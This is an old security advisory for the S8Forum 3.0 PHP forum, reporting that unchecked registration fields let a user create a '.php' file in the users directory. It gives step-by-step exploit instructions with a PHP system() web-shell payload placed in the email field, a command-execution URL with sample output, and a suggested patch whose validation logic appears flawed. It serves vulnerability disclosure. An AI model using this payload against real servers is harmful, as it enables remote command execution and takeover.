A security vulnerability in S8Forum

["NaSsEr .M.Sh" <nmsh_sa () yahoo com>]

INFORMATIONS :
=============

- Product : S8Forum
- Tested version : 3.0 maybe other versions.
- Website : http://www.kellishaver.com/
Vendor Status: not informed yet !!!
- Problem : A security vulnerability in S8Forum

PROBLEM :
=========

This forum writen by PHP. It doesn't use database, instead  that it creates new file with the name of the registered 
user then save it in (users) directory without extention.

The programm doesn't check user's intries, like user name, email..etc!. This bug able us to run some commands on the 
server!.

EXPLOIT :
=========

- go to Register

- insert in Username:
any_name.php   
NOTE: .php :)

- in password : any_pasword.

- in E-Mail:

<? system($cmd); ?>

or any code :(

- now go to  this URL:

http://sitename/s8forumfolder/users/any_name.php?cmd=uname%20-a

------ out ---

evil.php:c4ca4238a0b923820dcc509a6f75849b Linux xxx.xxx.net 2.4.18 #2 SMP Mon Nov 18 16:50:02 CST 2002 i686 unknown 

------ out ---

 

SOLUTION :
==========

open register.php

- step1 find this lines:


case 'registration_confirm':
// what to do with the form data 

include("settings/header.php");


- The next step add below:


 if(!eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$",  $email) &&  $email  !=  "") { 
echo "<p><font size=\"4\" color=\"#FF0000\">Please enter a valid email address. Press the back button and correct 
it.</font></p>";  
   
    }
if(strstr($uname, "."))
echo "<p><font size=\"4\" color=\"#FF0000\">Please enter a valid username. Press the back button and correct 
it.</font></p>";
 break;

 

NOTE :
======
S8Forum author has been notified on Sun 17/11 2002. Another mail was sent on 22/12 2002. No answer so far, no new 
release, no patch to fix these issues.

 

PROVIDED BY :
=============
Nasser.M.Sh
nmsh_sa () yahoo com



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